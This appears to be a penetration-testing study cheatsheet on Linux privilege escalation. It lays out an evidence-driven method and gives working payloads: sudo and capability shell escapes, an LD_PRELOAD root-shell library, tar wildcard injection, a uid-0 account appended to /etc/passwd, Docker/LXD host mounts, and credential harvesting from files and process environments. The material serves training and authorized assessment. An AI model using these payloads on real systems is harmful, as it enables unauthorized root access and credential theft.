10.9 Linux Privilege Escalation Cheatsheet
Establish your identity and host context, then follow the evidence you find.
Start the first checks →Open the matching investigation below. For sudo output, start with the exact rule.
Follow the finding →← Cheatsheet index | Full procedure | Master Notes | Strategy map | Study methods: Escalate privileges on Linux
10.9.1 Find escalation candidates with an initial tool-assisted survey Early tool-assisted pass
Use a reviewed, transferred build in the current host context. Save output and select a concrete finding; a highlight is not the elevated identity.
Reuse discovery: repeated inventory commands are optional only when the relevant saved LinPEAS output is complete, readable and from the same host and identity. Check the build/options used and any errors; a missing finding is not a negative result. Revisit affected checks after a new identity, privilege, mount or service change. Keep the focused validation of every selected candidate.
id
uname -m
sh ./linpeas.sh | tee linpeas.txt
10.9.2 Verify the conditions that make an escalation path usable Candidate proof
controlled object → effective permission → privileged consumer → execution identity → trigger → effect → verified identity
Do not exploit an automated highlight until every link is supported. Prioritize credentials/sudo, writable root consumers and SUID/capabilities before software/kernel exploits.
10.9.3 Find promising paths from your current access First pass
Discovery may already be covered: reuse captured OS, network, process and mount inventory. Confirm the current identity directly and inspect the actual
sudo -lrules; a noninteractive password failure does not establish that no sudo rights exist.
hostname; id; groups
uname -a; cat /etc/os-release; getconf LONG_BIT
pwd; umask; env
ip addr; ip route; ss -lntup; ss -lxnp
ps auxf
mount; findmnt; lsblk; df -hT
sudo -n -l 2>&1
sudo -l
getent passwd
awk -F: '$3 == 0 || $7 !~ /(nologin|false)$/ {print $1,$3,$4,$6,$7}' /etc/passwd
10.9.4 Verify your effective access to the resource the attack depends on Prove effective permissions
Validate the finding: keep the exact-object, parent-directory, ACL and mount checks below. A broad writable-file list does not establish control of a privileged consumer. Repeating the broad writable inventory is optional when equivalent current output is available.
namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS
find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null
Parent write+execute may permit replacement. ACLs can override the mode-bit impression.
nosuidblocks SUID/SGID/file capabilities;noexecblocks direct execution;roblocks changes.
10.9.5 Find credentials you can use for another identity Credentials and files
Discovery may already be covered: use collected file paths and credential candidates to choose a specific readable artifact. Investigate when indicated: inspect the application's real configuration and referenced files; a generic secret search is not complete application coverage. Verify any recovered identity and its relevant access.
history 2>/dev/null
find /home /root -maxdepth 3 -type f \
\( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
-o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
-readable 2>/dev/null
grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
/var/www /opt /srv /etc 2>/dev/null | head -n 200
ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null
w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null
Record user/service context before
su,sudo, SSH or application validation./procaccess and short process lifetime can hide values. Session/agent sockets require effective access and a useful live identity.
10.9.6 Check whether your sudo rights enable higher privileges Sudo
Run/context: on the Linux foothold, as the identity whose sudo rights you are testing. Decide: an allowed command is only a candidate; resolve its run-as identity and exact argument restrictions. If the attempted operation fails, check effective permissions and the failure map before trying a different permitted operation.
Validate the finding: retain the exact rule, run-as identity, arguments, environment restrictions and allowed execution mode. Reuse a complete current rule listing, but do not substitute a LinPEAS highlight for reading that rule.
sudo -n -l 2>&1
sudo -l
sudo --version
Check: run-as user/group, exact path, arguments/wildcards, password tag, SETENV, env_keep, secure_path, NOEXEC.
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
Match exact rule and mode in GTFOBins. A binary name alone is insufficient.
10.9.6.1 Check whether sudo preserves a controlled preload library LD_PRELOAD only when allowed/preserved
sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM
10.9.7 Find privileged executables you can use SUID / SGID / capabilities
A privileged executable or capability is a candidate; verify its exact operation and execution context.
Discovery may already be covered: reuse the SUID/SGID and file-capability inventories if those checks completed. Validate the finding: inspect the selected binary, mount restrictions, namespace, effective capability and privilege-preserving operation before using it.
find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null
namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null
Capability triage:
High priority: cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search,
cap_sys_ptrace, cap_sys_admin, cap_setfcap, cap_sys_module
Contextual: cap_net_raw and narrow service capabilities
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status
/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
Last command requires effective
cap_setuidon that exact interpreter. Check bounding set, namespace, mount and privilege retention.
10.9.8 Find privileged execution that consumes something you control Cron, timers, services and short-lived processes
Check the privileged consumer, controlled input and actual schedule or trigger.
Discovery may already be covered: reuse collected cron, timer and service entries. Investigate when indicated: trace suspicious scripts and referenced inputs, or observe transient execution with pspy. A snapshot does not settle short-lived jobs, execution identity or a usable trigger.
crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100
systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles
./pspy64
./pspy64 -pf -i 1000
namei -l /PATH/TO/SCRIPT
stat /PATH/TO/SCRIPT /PATH/TO/PARENT
getfacl -p /PATH/TO/SCRIPT /PATH/TO/PARENT 2>/dev/null
Need controllable referenced object + higher run identity + schedule/restart trigger. Cron environment differs from the interactive shell; writable service config still needs reload/restart.
Use the same chain for backup, logrotate, package-maintenance and custom housekeeping hooks.
10.9.9 Check whether you can redirect a privileged command lookup PATH hijacking
Prove the privileged consumer uses the controlled name, expansion or search path.
Investigate when indicated: a writable PATH entry is a lead. Validate the privileged consumer's actual command lookup and environment; your interactive PATH alone does not prove this route.
echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
[ -z "$d" ] && d=.
[ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'
printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof
Need relative command + consumer's effective PATH + earlier writable directory + privileged trigger.
10.9.10 Check whether controlled filenames become privileged command options Wildcard option injection
Prove the privileged consumer uses the controlled name, expansion or search path.
Investigate when indicated: inspect a privileged job that expands controlled filenames. Verify its actual working directory, utility behavior and trigger even if an enumerator identified a wildcard candidate.
grep -RniE 'tar .+\*|chown .+\*|chmod .+\*|rsync .+\*' \
/etc/cron* /etc/systemd /opt /usr/local 2>/dev/null
GNU tar, only in the privileged job's writable working directory:
printf '#!/bin/sh\n/usr/bin/id > /tmp/wildcard-proof\n' > proof.sh
chmod 700 proof.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh proof.sh'
Confirm expansion, option support/order, utility implementation, identity and trigger.
10.9.11 Check whether writable account or policy files enable higher privileges Writable account and policy files
Discovery may already be covered: reuse current account/policy-file permission candidates. Validate the finding: verify exact effective write or replacement access and a recovery path before changing an account or policy file.
ls -l /etc/passwd /etc/shadow /etc/sudoers
namei -l /etc/passwd
getfacl -p /etc/passwd 2>/dev/null
10.9.11.1 Writable /etc/passwd — disposable authorized lab
cp /etc/passwd /tmp/passwd.backup
HASH=$(openssl passwd -6 'TEMP_PASSWORD')
printf 'root2:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
su - root2
id
Preserve/restore the original. Avoid direct change without a recovery path.
10.9.12 Check whether group or socket access gives you higher privileges Groups, sockets and containers
Discovery may already be covered: reuse group membership and socket inventory. Validate the finding: check access to the actual daemon/socket, its authority and host/namespace boundary; a group name or installed client alone is insufficient.
id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh
lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
Docker/LXD need actual daemon rights and suitable configuration/image. Also investigate
disk,shadow,adm,systemd-journalandlibvirtby the resource they expose.
10.9.13 Find escalation paths through mounts and local services Mounts, NFS, local services and libraries
Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.
Discovery may already be covered: reuse the collected mounts and listening endpoints. Investigate when indicated: validate export mappings, service authorization or the privileged program's real library resolution for the selected candidate.
findmnt
cat /etc/fstab
mount
ss -lntup
ss -lxnp
NFS privesc requires a writable
no_root_squashexport plus target execution from a mount where SUID is effective. Root-only listeners/sockets still need a controllable privileged action.
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
Library hijacking needs a privileged dynamic consumer and a writable selected search location/preserved variable. Prefer
readelfwhen the executable is untrusted.
grep -nE '^(import|from) |require\(|include|source |\. ' /PATH/TO/SCRIPT
/PATH/TO/python3 -c 'import sys; print("\n".join(sys.path))'
For interpreter/module hijacking, prove the privileged script's actual import/include search order; an interactive search path may differ.
10.9.14 Assess matching software or kernel exploits after permission checks Software/kernel candidates — last
Use a matching affected build/configuration only after stronger permission-backed candidates have been assessed.
Investigate when indicated: assess an affected build/configuration after stronger permission-backed leads. A version or CVE highlight is a candidate, not proof that the running kernel or package is exploitable.
uname -a
cat /proc/version
cat /etc/os-release
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
sudo --version
lsmod
sysctl kernel.unprivileged_userns_clone 2>/dev/null
searchsploit "PRODUCT VERSION local privilege escalation"
searchsploit -x EDB_ID
searchsploit -m EDB_ID
gcc -Wall -Wextra exploit.c -o exploit
file exploit
sha256sum exploit
Match exact build/backports, architecture, configuration, namespace/capability, mitigations and dependencies. Review source and crash/recovery risk.
10.9.15 Investigate remaining gaps with a focused automated survey Automated candidate generation
Optional repeated survey: if the initial LinPEAS run completed and its output has been reviewed, do not rerun it unchanged by default. Choose additional collection only for a named gap, unavailable check or changed access context.
./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt
LinPEAS
-ais slower/noisier and adds password attempts/process monitoring; use only when justified. LSE-l2andunix-privesc-check detailedare later depth, not baseline. Transfer a trusted copy and record its hash instead of piping an unverified download tosh.
10.9.16 Choose the next check from the failure you observed Failure quick map
| Symptom | Next check |
|---|---|
| Sudo escape fails | Exact args/run-as, NOEXEC, privilege drop, MAC logs |
| SUID/capability stays low | Owner/mode/exact path, nosuid, effective/bounding set, namespace |
| Cron/service never fires | Definition, run user, schedule/restart, PATH/shell/cwd, pspy/logs |
| PATH/wildcard ignored | Absolute path or reset PATH; expansion cwd/option parsing |
| Docker denied | Socket ACL, active group session, rootless/authz/userns controls |
| Kernel PoC fails | Exact affected build/config, arch, toolchain/dependencies |
| Enumerator reports “possible” | Manually prove object, consumer, identity and trigger |
10.9.17 Verify and re-enumerate
id; whoami; groups
hostname; pwd
ip addr; ip route
Re-enumerate protected files, credentials, services, listeners, mounts and routes after the identity change.
10.9.18 Discover and recognize candidates
Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.
10.9.18.1 Escalate privileges on Linux
10.9.18.1.1 Find: Establish Linux state and choose an escalation candidate
At a new shell collect effective IDs/groups, current mounts, root-owned activity and exact sudo rules before choosing a technique.
id
findmnt
ps auxww
sudo -l
Recognize: The sudo rule and privileged backup consumer open different candidate families; neither should be replaced by an automatic kernel choice.
Validate next: For each candidate establish exact permitted operation/object, run-as identity and trigger.
10.9.18.1.2 Find: Prove effective file, directory, ACL and mount control
From a real privileged script/binary/configuration path inspect every parent, ACL and effective mount before assuming control.
namei -l /PATH/TO/OBJECT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT
findmnt -T /PATH/TO/OBJECT
Recognize: Parent replacement can provide a control primitive even when the existing file's write bit is absent.
Validate next: Run namei -l, stat and getfacl on the exact path and its parents, then findmnt -T for ro/noexec/nosuid. Check the identity and trigger of the process that uses this path; write permission alone is not execution.
Prove effective file, directory, ACL and mount control.
10.9.18.1.3 Commands and use-case variants
Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately
namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS
Directory write+execute can permit replacement even when the file is not writable. ACLs can add/remove effective access.
nosuiddefeats SUID/SGID and file-capability effects;noexecblocks direct execution;roblocks changes.
Discover writable objects, then prioritize root-owned configuration, scripts, binaries and parents under /etc, /opt, /usr/local, application paths and service working directories:
find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null
Verify: Prove the specific read/write/replace action and consumer path; world-writable alone is not the complete escalation chain.
If it fails: A read-only/noexec/nosuid mount changes which effects are possible. Find another consumer rather than assuming every permission bypasses mount policy.
10.9.18.1.4 Find: Recover credentials from Linux user, service and process trails
Follow observed application processes and directories into readable configuration, history and environment; prioritize paths tied to actual services.
ps auxww
history
find /opt /var/www /srv -maxdepth 3 -type f -readable 2>/dev/null
Recognize: An actual service's readable configuration supplies an identity-labelled secret candidate.
Validate next: Read the named config/history/process artifact and record the user, service and host it belongs to. Classify a recovered password/key, test one matching service context and verify the accepted identity before trying reuse elsewhere.
Recover credentials from Linux user, service and process trails.
10.9.18.1.5 Commands and use-case variants
Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Read access to the artifact; exact account/service context; session/agent access must include a usable live identity
history 2>/dev/null
find /home /root -maxdepth 3 -type f \
\( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
-o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
-readable 2>/dev/null
grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
/var/www /opt /srv /etc 2>/dev/null | head -n 200
Inspect process arguments and readable process environment:
ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null
Check reusable local sessions/agents only when their sockets are accessible:
w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null
An agent, tmux/screen or daemon socket needs effective socket access and a useful authenticated/privileged session. Presence alone is not session hijacking.
Next: identify the value's user/service context, validate the smallest relevant transition (
su,sudo, SSH or application authentication), then re-enumerate. Use credential handling for cracking/reuse.
find /home /var/www /opt /srv -type f \
\( -iname '*.conf' -o -iname '*.ini' -o -iname '*.env' -o -iname '*.bak' \
-o -iname '*.old' -o -iname '*.key' -o -iname '*.pem' \) 2>/dev/null
rg -ni 'password|passwd|token|secret|api[_-]?key|connection(string)?' \
/var/www /opt /srv 2>/dev/null
Verify: Record source, exact material type and validated identity/service; keep real secrets in private lab records.
If it fails: Stale examples and unrelated tokens are common. A denied process read is a visibility limit, not evidence that no credentials exist elsewhere.
10.9.18.1.6 Find: Use an allowed sudo operation to cross a privilege boundary
Run the exact sudo policy query from the current user and read run-as identity, executable, arguments and tags.
sudo -n -l 2>&1
sudo -l
Recognize: The rule permits that exact program as root; its documented privileged operation becomes a candidate.
Validate next: Read sudo -l: match the run-as user, exact executable and allowed arguments. Check NOPASSWD/password access and NOEXEC/environment restrictions; choose only the GTFOBins operation that the full rule permits, then verify id.
Use an allowed sudo operation to cross a privilege boundary.
10.9.18.1.7 Find: Load a controlled library through a permitted sudo environment
Inspect sudo's environment-related tags/defaults and the exact allowed executable's dynamic-linking evidence.
sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM
Recognize: Explicit environment permission plus a compatible dynamic consumer suggests a loader-injection candidate.
Validate next: Confirm SETENV or explicit LD_PRELOAD preservation in sudo -l and a dynamically linked allowed program. Use only the permitted environment form; inspect the resulting id rather than assuming the shared library ran as root.
Load a controlled library through a permitted sudo environment.
10.9.18.1.8 Find: Use a SUID or SGID program's exposed privileged primitive
Inventory privileged-mode files, then focus on custom/nonstandard programs and inspect ownership, mount and documented behavior.
find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
file /PATH/TO/BINARY
Recognize: The s bits identify an execution credential mechanism; nonstandard behavior warrants inspection but is not a vulnerability itself.
Validate next: Run stat on the flagged executable and findmnt -T on its path. Check the SUID owner, nosuid and exact binary behavior; after a permitted operation run id to see whether the elevated effective UID was retained.
Use a SUID or SGID program's exposed privileged primitive.
10.9.18.1.9 Commands and use-case variants
Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege
find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null
Rank nonstandard/custom paths, unexpected versions, writable binaries/parents and dangerous interpreters. Inspect one candidate:
namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null
Look for a documented SUID/capability primitive, unsafe relative helper, arbitrary file operation, user-controlled config/plugin or exact vulnerable version. Normal distribution SUID files are not findings by themselves.
10.9.18.1.10 Capability interpretation and example
High-value capability candidates include cap_setuid, cap_setgid, cap_dac_override, cap_dac_read_search, cap_sys_ptrace, cap_sys_admin, cap_setfcap and cap_sys_module. cap_net_raw is usually not a direct root transition.
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status
Only when the exact interpreter has effective cap_setuid:
/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'
+epindicates permitted plus the file effective bit. Bounding sets, namespaces,nosuidmounts and program behavior can still change the result.
Verify: Verify effective IDs and the exact privileged operation; a real UID or prompt label alone is insufficient.
If it fails: nosuid, privilege dropping, fixed arguments or MAC policy can invalidate a candidate. Distinguish a file-read primitive from arbitrary execution.
10.9.18.1.11 Find: Use a file capability that enables a specific privileged operation
Search file capabilities and inspect the exact program plus current namespace/bounding context.
getcap -r / 2>/dev/null
capsh --print 2>/dev/null
Recognize: The specific interpreter has effective set-UID authority, unlike an ordinary copy of python3 elsewhere.
Validate next: Read getcap for the exact executable, inspect its mount and match the named capability to the program operation. A version or capability name alone does not prove that the program retains a useful effective capability.
Use a file capability that enables a specific privileged operation.
10.9.18.1.12 Find: Control a script, binary or configuration consumed by a privileged job/service
Inspect actual cron/systemd definitions and running processes, then follow their action paths into permission checks.
cat /etc/crontab
systemctl list-timers --all
ps auxww
Recognize: The schedule explicitly names a privileged consumer and an exact file to inspect.
Validate next: Observe the actual command and UID with pspy or inspect the unit with systemctl cat/show. Run namei -l, stat and getfacl on the consumed path and parents; identify the timer, restart or invocation before changing the file.
Control a script, binary or configuration consumed by a privileged job/service.
10.9.18.1.13 Commands and use-case variants
Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger
crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100
systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles
Observe short-lived commands:
./pspy64
./pspy64 -pf -i 1000
Validate every referenced script, binary, configuration, environment file, plugin and parent:
namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
Prove: exact object is controllable → job/service consumes it → process runs as a higher identity → schedule/restart/other trigger is available. A writable unit still needs a privileged reload/restart or automatic trigger. Cron uses a different/minimal environment.
Apply the same proof to backup, logrotate, package-maintenance and custom housekeeping hooks: configuration visibility or a writable output is insufficient unless a higher-privileged consumer interprets attacker-controlled input.
Verify: Verify the consumer's resulting effect and identity; editing a file without an observed trigger is incomplete.
If it fails: Wrong path, service sandbox, missing trigger or another effective identity breaks the chain. Use process observation and permission checks.
10.9.18.1.14 Find: Hijack an unqualified helper through controlled PATH resolution
Inspect a verified privileged helper/script for unqualified executable names and compare its actual PATH with writable directories.
printf '%s\n' "$PATH"
namei -l /PATH/TO/CANDIDATE_DIRECTORY
strings /PATH/TO/REVIEWED_BINARY
Recognize: An unqualified helper can resolve through the controlled earlier directory in the consumer's environment.
Validate next: Find the helper name in the privileged script or observed pspy command. Check that it is unqualified and identify the consumer's real PATH; a writable directory matters only if that consumer searches it first.
Hijack an unqualified helper through controlled PATH resolution.
10.9.18.1.15 Find: Turn wildcard-expanded filenames into privileged command options
Read the exact privileged command line and inspect the directory over which its shell glob expands.
cat /PATH/TO/REVIEWED_JOB_SCRIPT
ls -la /PATH/TO/JOB_DIRECTORY
namei -l /PATH/TO/JOB_DIRECTORY
Recognize: Controlled filenames may become utility arguments after glob expansion; the exact utility and option ordering decide the method.
Validate next: Inspect the exact privileged command: confirm that a wildcard expands attacker-controlled names into option positions and that the utility interprets those options. A writable directory without that command/trigger does not enable this route.
Turn wildcard-expanded filenames into privileged command options.
10.9.18.1.16 Find: Change a writable account or privilege-policy file
Check permissions on the account/policy file identified by enumeration, including parents and mount state, before any content change.
stat /etc/passwd /etc/shadow /etc/sudoers
getfacl -p /etc/passwd /etc/sudoers 2>/dev/null
Recognize: A sensitive account file appears writable; the authentication implementation and valid record syntax determine its effect.
Validate next: Preserve original state; confirm exact effective write, file consumer, useful identity and recovery/trigger.
10.9.18.1.17 Find: Use privileged group, daemon or container-management control
Inspect groups, local sockets and namespace context, then use only permitted read-only daemon inventory to identify rootful/rootless behavior.
id
ls -l /var/run/docker.sock
cat /proc/1/cgroup
Recognize: Effective socket access suggests daemon control; group text alone does not establish host-affecting rootful operations.
Validate next: Check API acceptance, rootful/rootless and namespace policy, available resources and the specific host operation.
Use privileged group, daemon or container-management control.
10.9.18.1.18 Commands and use-case variants
Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation
id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
lxc list 2>/dev/null
Group candidates include docker, lxd/lxc, disk, shadow, adm, systemd-journal and libvirt. Prove the associated resource and effective permission.
10.9.18.1.19 Rootful Docker daemon with an available image
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh
Requires daemon/socket access, a rootful daemon, usable image and allowed host bind mount. Rootless mode, user namespaces, authorization plugins and SELinux can change the effect.
10.9.18.1.20 LXD/LXC with an available image alias
lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh
Requires configured daemon access, sufficient group rights, image availability and privileged-container/device support.
Verify: Distinguish host and container namespace, effective UID and the exact host operation.
If it fails: Rootless mode, user namespaces, policy or absent images can change the route. Do not equate a container prompt with host compromise.
10.9.18.1.21 Find: Exploit a permission-backed mount, NFS mapping or local service
Inspect mounts, exports and local listeners after the foothold; correlate each with its identity and reachable service.
findmnt
cat /etc/exports 2>/dev/null
ss -lntup
Recognize: A local-only service or export mapping creates a specific investigation route, not automatic escalation.
Validate next: For the service check accepted identity/rights; for NFS check client mapping, write permissions, mount flags and target-side consumer.
Exploit a permission-backed mount, NFS mapping or local service.
10.9.18.1.22 Find: Control a privileged program's shared-library resolution
Inspect the reviewed privileged executable's dependencies/search paths and permission-check the actual selected library directory.
readelf -d /PATH/TO/BINARY
namei -l /PATH/TO/LIBRARY_DIRECTORY
Recognize: A named dependency plus a potentially controlled search location is a loader-resolution candidate.
Validate next: Verify actual runtime selection, ABI/symbols, secure-execution rules, retained privilege and a trigger.
10.9.18.1.23 Find: Select an evidence-matched Linux software or kernel exploit
Collect distribution build/package/architecture and the required local feature before comparing a specific advisory/PoC.
uname -a
cat /etc/os-release
getconf LONG_BIT
Recognize: A version-associated advisory is a candidate; backports and feature state determine applicability.
Validate next: Collect uname and the distribution's package/build plus architecture. Match the advisory's vulnerable feature and vendor patch status before choosing a PoC; try a confirmed sudo/file/credential route first when one exists.
Select an evidence-matched Linux software or kernel exploit.
10.9.18.1.24 Find: Use enumeration tools to generate manually testable candidates
Use known manual gaps and the host/runtime context to choose a reviewed enumerator; inspect each highlighted finding against native evidence.
id
uname -m
command -v bash python3
ls -ld /tmp
Recognize: The highlight supplies a candidate object, not the missing privileged consumer or execution trigger.
Validate next: Run the reviewed LinPEAS baseline and save its output. For sudo highlights run sudo -l; for a flagged file use stat/namei/getfacl; for jobs confirm the UID and command with pspy or systemctl. Open the matching technique only after that check.
Use enumeration tools to generate manually testable candidates.
10.9.18.1.25 Commands and use-case variants
Need: A verified Linux foothold with a known effective UID, groups and filesystem context. Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location
For the early collector pass, transfer a reviewed LinPEAS copy, check the current UID/architecture and save its output. This form does not require an executable bit:
sh ./linpeas.sh | tee linpeas.txt
Follow the named finding into the matching sudo, SUID/capability, writable-consumer or credential procedure. Use the local help for optional modes; broader/noisier checks are not the automatic baseline.
./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt
LinPEAS optional flags vary by build. Read the local
./linpeas.sh -hbefore selecting broader checks; they are not the automatic baseline. LSE progresses from default to-l1, then-l2only if needed.unix-privesc-check detailedis slower and more false-positive-prone.
For every highlight:
exact object | effective permission | privileged consumer | identity | trigger | expected effect | manual verification
Do not pipe an unverified Internet download into the target shell. Acquire a trusted copy, retain its source/hash, transfer deliberately and remove assessment artifacts when appropriate.
Verify: Read linpeas.txt. Confirm a reported sudo rule with sudo -l, a privileged path with namei/stat/getfacl, or a scheduled consumer with pspy before using that finding
If it fails: Script blocked or output empty: check the shell, transfer integrity and output path, then use the native checks for the observed rule/file/job. Empty collector output does not rule out escalation